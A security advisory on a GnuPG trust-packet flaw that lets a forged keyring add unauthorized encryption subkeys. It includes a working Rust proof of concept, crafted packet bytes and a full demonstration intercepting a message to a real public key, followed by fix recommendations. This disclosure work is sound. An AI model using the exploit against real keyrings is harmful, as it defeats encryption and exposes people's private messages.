GnuPG Trust Packet Parsing Enables Adding Arbitrary Subkeys

An attacker can provide a forged keyring (via the --keyring parameter in GnuPG). Successful exploitation allows for injection of unauthorized, malicious encryption subkeys without necessitating the private component of the master key.

Impact

Generally, the attack allows adding arbitrary subkeys to any key, for encryption or signing purposes, without necessitating authorization of the subkeys through a master key signature. This includes subkey addition to already trusted main keys from other keyrings.

Details

GnuPG supports PGP trust packets. The PGP RFC fails to provide a comprehensive and precise specification of the packet format:

The Trust packet is used only within keyrings and is not normally exported. Trust packets contain data that record the user’s specifications of which keyholders are trustworthy introducers, along with other information that implementation uses for trust information. The format of Trust packets is defined by a given implementation.

Among other purposes, GnuPG employs PGP trust packets for caching the outcome of signature validation of PGP subkeys.

Through forging a malicious keyring, an attacker can instruct GnuPG via the trust packet’s flags.checked [1] and flags.verified [2] bits to skip the signature validation of the preceding signature packet.

/* Parse a ring trust packet RFC4880 (5.10).
 *
 * This parser is special in that the packet is not stored as a packet
 * but its content is merged into the previous packet.  */
static gpg_error_t parse_ring_trust(parse_packet_ctx_t ctx, unsigned long pktlen) {
  // ...
  c = iobuf_get_noeof(inp);
  rt.trustval = c;
  if (!c) {
    c = iobuf_get_noeof(inp);
    /* We require that bit 7 of the sigcache is 0 (easier
     * eof handling).  */
    if (!(c & 0x80)) rt.sigcache = c;
  } else { /* ... */ };
  // ...
  /* Now transfer the data to the respective packet.  Do not do this
   * if SKIP_META is set.  */
  if (!ctx->last_pkt.pkt.generic || ctx->skip_meta);
  else if (rt.subtype == RING_TRUST_SIG
    && ctx->last_pkt.pkttype == PKT_SIGNATURE) {
    PKT_signature* sig = ctx->last_pkt.pkt.signature;

    if ((rt.sigcache & 1)) {
      sig->flags.checked = 1;                       // [1]
      sig->flags.valid = !!(rt.sigcache & 2);       // [2]
    }
  } else { /* ... */ }
  // ...
}

By crafting a packet that sets sigcache to 1 | 2, GnuPG sets the checked and valid flags of the last signature packet to true.

These flags are used in various parts of the GnuPG code, but most notably in check_key_signature2 [3, 4]:

/* Check that a signature over a key (e.g., a key revocation, key
 * binding, user id certification, etc.) is valid.  If the function
 * detects a self-signature, it uses the public key from the specified
 * key block and does not bother looking up the key specified in the
 * signature packet.
 *
 * ROOT is a keyblock.
 *
 * NODE references a signature packet that appears in the keyblock
 * that should be verified.
 *
 * If CHECK_PK is set, the specified key is sometimes preferred for
 * verifying signatures.  See the implementation for details.
 *
 * If RET_PK is not NULL, the public key that successfully verified
 * the signature is copied into *RET_PK.
 *
 * If IS_SELFSIG is not NULL, *IS_SELFSIG is set to 1 if NODE is a
 * self-signature.
 *
 * If R_EXPIREDATE is not NULL, *R_EXPIREDATE is set to the expiry
 * date.
 *
 * If R_EXPIRED is not NULL, *R_EXPIRED is set to 1 if PK has been
 * expired (0 otherwise).  Note: PK being revoked does not cause this
 * function to fail.
 *
 *
 * If OPT.NO_SIG_CACHE is not set, this function will first check if
 * the result of a previous verification is already cached in the
 * signature packet's data structure.
 *
 * TODO: add r_revoked here as well.  It has the same problems as
 * r_expiredate and r_expired and the cache [nw].  Which problems [wk]? */
int check_key_signature2(ctrl_t ctrl,
                         kbnode_t root, kbnode_t node, PKT_public_key* check_pk,
                         PKT_public_key* ret_pk, int* is_selfsig,
                         u32* r_expiredate, int* r_expired) {
  PKT_public_key* pk;
  PKT_signature* sig;
  int algo;
  int rc;

  if (is_selfsig) *is_selfsig = 0;
  if (r_expiredate) *r_expiredate = 0;
  if (r_expired) *r_expired = 0;
  log_assert(node->pkt->pkttype == PKT_SIGNATURE);
  log_assert(root->pkt->pkttype == PKT_PUBLIC_KEY);

  pk = root->pkt->pkt.public_key;
  sig = node->pkt->pkt.signature;
  algo = sig->digest_algo;

  /* Check whether we have cached the result of a previous signature
   * check.  Note that we may no longer have the pubkey or hash
   * needed to verify a sig, but can still use the cached value.  A
   * cache refresh detects and clears these cases. */
  if (!opt.no_sig_cache) {
    cache_stats.total++;
    if (sig->flags.checked) /* Cached status available.  */ // [3]
    {
      cache_stats.cached++;
      if (is_selfsig) {
        u32 keyid[2];

        keyid_from_pk(pk, keyid);
        if (keyid[0] == sig->keyid[0] && keyid[1] == sig->keyid[1]) *is_selfsig = 1;
      }
      /* BUG: This is wrong for non-self-sigs... needs to be the
       * actual pk.  */
      rc = check_signature_metadata_validity(pk, sig, r_expired, NULL);
      if (rc) return rc;
      if (sig->flags.valid) { // [4]
        cache_stats.goodsig++;
        return 0;
      }
      cache_stats.badsig++;
      return gpg_error(GPG_ERR_BAD_SIGNATURE);
    }
  }
  // ...
}

GnuPG allows usage of these trust packets either temporarily via the --keyring argument or via the restore import option. The documentation fails to warn the user of the possibility of importing trust packets with these operations and the severe security consequences of doing so:

—keyring file

  • Add file to the current list of keyrings. If file begins with a tilde and a slash, these are replaced by the $HOME directory. If the filename does not contain a slash, it is assumed to be in the GnuPG home directory (”~/.gnupg” unless —homedir or $GNUPGHOME is used).
  • Note that this adds a keyring to the current list. If the intent is to use the specified keyring alone, use —keyring along with —no-default-keyring.
  • If the option —no-keyring has been used no keyrings will be used at all.
  • Note that if the option use-keyboxd is enabled in ‘common.conf’, no keyrings are used at all and keys are all maintained by the keyboxd process in its own database.

restore/import-restore

  • Import in key restore mode. This imports all data which is usually skipped during import; including all GnuPG specific data. All other contradicting options are overridden.

By adding a key binding and convincing their victim to use or import the forged keyring, an attacker can:

Detailed steps to reproduce

Scenario

Procedure

To practically decrypt encrypted messages from Alice to Bob, Eve has to:

  1. Get Bob’s public key
  2. Generate a PGP key pair with an encryption subkey
  3. Isolate Eve’s encryption subkey and its signature; e.g. only the public subkey and its accompanying signature packet that binds an encryption key
  4. Modify the isolated encryption subkey binding signature by replacing all occurrences of Eve’s main key fingerprint with Bob’s main key fingerprint
  5. Craft a Trust packet for GnuPG, e.g. 0x[cc ff 00 00 00 06 00 03 67 70 67 00]
  6. Add Bob’s full public key, Eve’s public subkey, Eve’s modified subkey binding signature, and the crafted Trust packet together
  7. Get Alice to import the payload into her keyring

If Alice now uses gpg --keyring ./bob-modified.pgp --encrypt --recipient [Bob's full fingerprint], GnuPG will encrypt the text to Eve instead, who can then decrypt, read, and modify the message, and send the MITM’d message back to Bob, effectively defeating GnuPG’s encryption.

To demonstrate the attack, we use a public key of the German government as Bob’s public key.

Eve:

//! ```cargo
//! [dependencies]
//! sequoia-openpgp = "2.0.0"
//! reqwest = { version = "0.11", features = ["json", "blocking"] }
//! ```

use reqwest::blocking::get;
use sequoia_openpgp::cert::prelude::*;
use sequoia_openpgp::parse::Parse;
use sequoia_openpgp::policy::StandardPolicy;
use sequoia_openpgp::Packet;
use sequoia_openpgp::serialize::Serialize;
use sequoia_openpgp::Profile;
fn poc() {
    // 1. Get Bob's public key
    // use one that we certainly don't have a private key for
    // curl https://www.governikus.de/wp-content/uploads/2023/06/governikusPubKey.asc
    let bob_key = get("https://www.governikus.de/wp-content/uploads/2023/06/governikusPubKey.asc")
        .expect("Failed to fetch Bob's public key")
        .bytes()
        .expect("Failed to read Bob's public key as bytes");

    // 2. Generate a PGP key pair with an encryption subkey
    let (eve_cert, _revocation) = CertBuilder::new()
        .set_profile(Profile::RFC4880)
        .expect("Failed to set profile")
        .add_userid("Eve <[email protected]>")
        .add_transport_encryption_subkey()
        .generate()
        .expect("Failed to generate Eve's cert with encryption subkey");

    {
        let mut f = std::fs::File::create("eve-private.asc").expect("create eve-private.asc");
        eve_cert.as_tsk().armored().serialize(&mut f).expect("write eve private tsk");
    }

    // 3.
    let p = &StandardPolicy::new();
    let eve_vc = eve_cert.with_policy(p, None).expect("valid certificate");
    let enc_sub = eve_vc
        .keys()
        .subkeys()
        .for_transport_encryption()
        .next()
        .expect("Eve should have an encryption-capable subkey");

    let eve_subkey_packet = Packet::PublicSubkey(enc_sub.key().clone());

    let binding_sig = enc_sub.binding_signature().clone();

    // 4. Replace Eve's issuer info in the binding signature with Bob's
    let bob_cert = Cert::from_bytes(&bob_key).expect("Parse Bob's public key as a cert");
    let bob_fp = bob_cert.fingerprint();
    let bob_kid = bob_cert.keyid();

    // Byte-level replacement approach
    let eve_fp = eve_cert.fingerprint();
    let eve_kid = eve_cert.keyid();

    let mut sig_bytes = Vec::new();
    Packet::from(binding_sig.clone()).serialize(&mut sig_bytes).expect("serialize binding signature");

    fn replace_all(buf: &mut Vec<u8>, from: &[u8], to: &[u8]) {
        if from.is_empty() || from.len() != to.len() { return; }
        let mut i = 0;
        while i + from.len() <= buf.len() {
            if &buf[i..i + from.len()] == from {
                buf[i..i + from.len()].copy_from_slice(to);
                i += from.len();
            } else {
                i += 1;
            }
        }
    }

    let from_fp_payload: Vec<u8> = std::iter::once(4u8)
        .chain(eve_fp.as_bytes().iter().copied())
        .collect();
    let to_fp_payload: Vec<u8> = std::iter::once(4u8)
        .chain(bob_fp.as_bytes().iter().copied())
        .collect();
    replace_all(&mut sig_bytes, &from_fp_payload, &to_fp_payload);

    replace_all(&mut sig_bytes, eve_fp.as_bytes(), bob_fp.as_bytes());
    replace_all(&mut sig_bytes, eve_kid.as_bytes(), bob_kid.as_bytes());

    // 5.
    let trust_body: Vec<u8> = vec![
        0x00, 0x03,
        b'g', b'p', b'g', 0x00,
    ];
    let trust_packet = sequoia_openpgp::packet::Trust::from(trust_body);

    // 6.
    let mut assembled = Vec::new();
    bob_cert.serialize(&mut assembled).expect("serialize Bob's cert");
    eve_subkey_packet.serialize(&mut assembled).expect("serialize subkey");
    assembled.extend_from_slice(&sig_bytes);
    Packet::from(trust_packet).serialize(&mut assembled).expect("serialize trust packet");

    let out = "bob-modified.pgp";
    std::fs::write(out, &assembled).expect("write assembled payload");
}


fn main() {
    poc();
}

Eve now generates the payload:

$ ./gen.rs
$ cat eve-private.asc
-----BEGIN PGP PRIVATE KEY BLOCK-----
Comment: 85EE FE33 F3B8 C24F 2BAD  FD61 15D0 DBE5 1F08 7CF8
Comment: Eve <[email protected]g>

xVgEaJjyiBYJKwYBBAHaRw8BAQdAoxFVdlX0HQhLrKz1vddj14KLDM4+Mis0RZrb
R2+9Y2wAAQDLt2jhdKnDgwrdp3pStQESlwFU/fmq+sAYQXB4TCdNYQ/5wsALBB8W
CgB9BYJomPKIAwsJBwkQFdDb5R8IfPhHFAAAAAAAHgAgc2FsdEBub3RhdGlvbnMu
c2VxdW9pYS1wZ3Aub3Jn7rb/MNIP6ZQcHkbT8IJGSFKLDINWNrWHTY6RAQhFmAcD
FQoIApsBAh4JFiEEhe7+M/O4wk8rrf1hFdDb5R8IfPgAAHpDAQCvxJgvuFf2/clS
iyRJo0w2kyo5vOrhctBxTeP66h5YTAD+L1XS+Vi99Xf2HUXUejhk4ERrpO/amTkP
X/4uXZNflQPNFUV2ZSA8ZXZlQGV4YW1wbGUub3JnPsLADgQTFgoAgAWCaJjyiAML
CQcJEBXQ2+UfCHz4RxQAAAAAAB4AIHNhbHRAbm90YXRpb25zLnNlcXVvaWEtcGdw
Lm9yZ1fyjaYRmws3otQV+WYE7w7sd4e6+DBAp55hZT1kjVR2AxUKCAKZAQKbAQIe
CRYhBIXu/jPzuMJPK639YRXQ2+UfCHz4AADb4AD/fu7+RQwrEKxiRSgRUz5g6V2B
UyzFWPzvXz7g5qPbD/4BAOcSybR2TQNxkekfpJJUn6SzNbYfnD8dTW7Sn5t01kQG
x10EaJjyiBIKKwYBBAGXVQEFAQEHQKnHYcyL7hxYkF6B9s5jZjIZopQVM1eYYXQu
XlquQmtDAwEIBwAA/1zLV0ypbc84PRF8CYTwxuRYoWyFW4F/R6fQABVfeP24EHvC
wAAEGBYKAHIFgmiY8ogJEBXQ2+UfCHz4RxQAAAAAAB4AIHNhbHRAbm90YXRpb25z
LnNlcXVvaWEtcGdwLm9yZ+w28Bn8E711FTQ7uUhNhSgWZkFFGFmw5g8zPs+T/FnC
ApsEFiEEhe7+M/O4wk8rrf1hFdDb5R8IfPgAAI3PAP9qdKmwSvs4kfO2b+Yp4/j6
BtgL1H7+HTeaI0FYj2ag3gEA9Nes/lO4zbbc9Iwr5iDqxY8+ZjCfwZJj6SjdhtYu
Tgo=
=LF50
-----END PGP PRIVATE KEY BLOCK-----
% gpg --import eve-private.asc
...

Eve distributes the keyring to Alice, who starts using it.

Alice:

$ curl https://www.governikus.de/wp-content/uploads/2023/06/governikusPubKey.asc | gpg --import
  ...
gpg: key 5E5CCCB4A4BF43D7: public key "Governikus OpenPGP Signaturservice (Neuer Personalausweis) <[email protected]>" imported
gpg: Total number processed: 1
gpg:               imported: 1
$ gpg --edit-key 5E5CCCB4A4BF43D7
gpg (GnuPG) 2.4.4; Copyright (C) 2024 g10 Code GmbH
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

pub  rsa4096/5E5CCCB4A4BF43D7
     created: 2015-03-12  expires: 2028-03-14  usage: SC
     trust: unknown       validity: unknown
[ unknown] (1). Governikus OpenPGP Signaturservice (Neuer Personalausweis) <[email protected]>

gpg> trust
pub  rsa4096/5E5CCCB4A4BF43D7
     created: 2015-03-12  expires: 2028-03-14  usage: SC
     trust: unknown       validity: unknown
[ unknown] (1). Governikus OpenPGP Signaturservice (Neuer Personalausweis) <[email protected]>

Please decide how far you trust this user to correctly verify other users' keys
(by looking at passports, checking fingerprints from different sources, etc.)

  1 = I don't know or won't say
  2 = I do NOT trust
  3 = I trust marginally
  4 = I trust fully
  5 = I trust ultimately
  m = back to the main menu

Your decision? 5
Do you really want to set this key to ultimate trust? (y/N) y

pub  rsa4096/5E5CCCB4A4BF43D7
     created: 2015-03-12  expires: 2028-03-14  usage: SC
     trust: ultimate      validity: unknown
[ unknown] (1). Governikus OpenPGP Signaturservice (Neuer Personalausweis) <[email protected]>
Please note that the shown key validity is not necessarily correct
unless you restart the program.

gpg>
gpg: signal Interrupt caught ... exiting
$ echo "plaintext" | gpg --keyring ./bob-modified.pgp --armor --encrypt --recipient 864E8B951ECFC04AF2BB233E5E5CCCB4A4BF43D7 | tee msg.asc
-----BEGIN PGP MESSAGE-----

hF4DCBjxT1PMJncSAQdA6dbUAHA68rR458Uxg1rrsQiOoY+q86/t+IvnEDwrJHgw
Xs05R9PPeZKKxCgCsxxid+OVEMnTyJiB8wmeFKbhuQW0O3rSNoJy/Mr3tztwwrPA
0kUBK3n5Q1j+DkLECEk2eqWLwEOSBobxjOJMC5RWc526TCgI+pGR6QdhpFbNBgUp
V0f+j94QEADZhz8EjicycQfV5RC9siQ=
=1OtL
-----END PGP MESSAGE-----

Eve:

$ gpg --decrypt msg.asc
gpg: encrypted with cv25519 key, ID 0818F14F53CC2677, created 2025-08-10
      "Eve <[email protected]>"
plaintext

Recommendation

Importing malicious trust packets is already unsafe, as untrusted keys may appear as trusted. The documentation should be very clear in warning the user that the affected options effectively imply --trust-model always. Additionally, the fact that signature checks are cached at all, and that they are cached in the user-writable trust packet undermines the entire chain of trust, even within keys themselves. Signature caching is a slight performance improvement at the cost of massive attack surface, and should not be done. Instead, signatures should be verified on use as do many other code paths in GnuPG.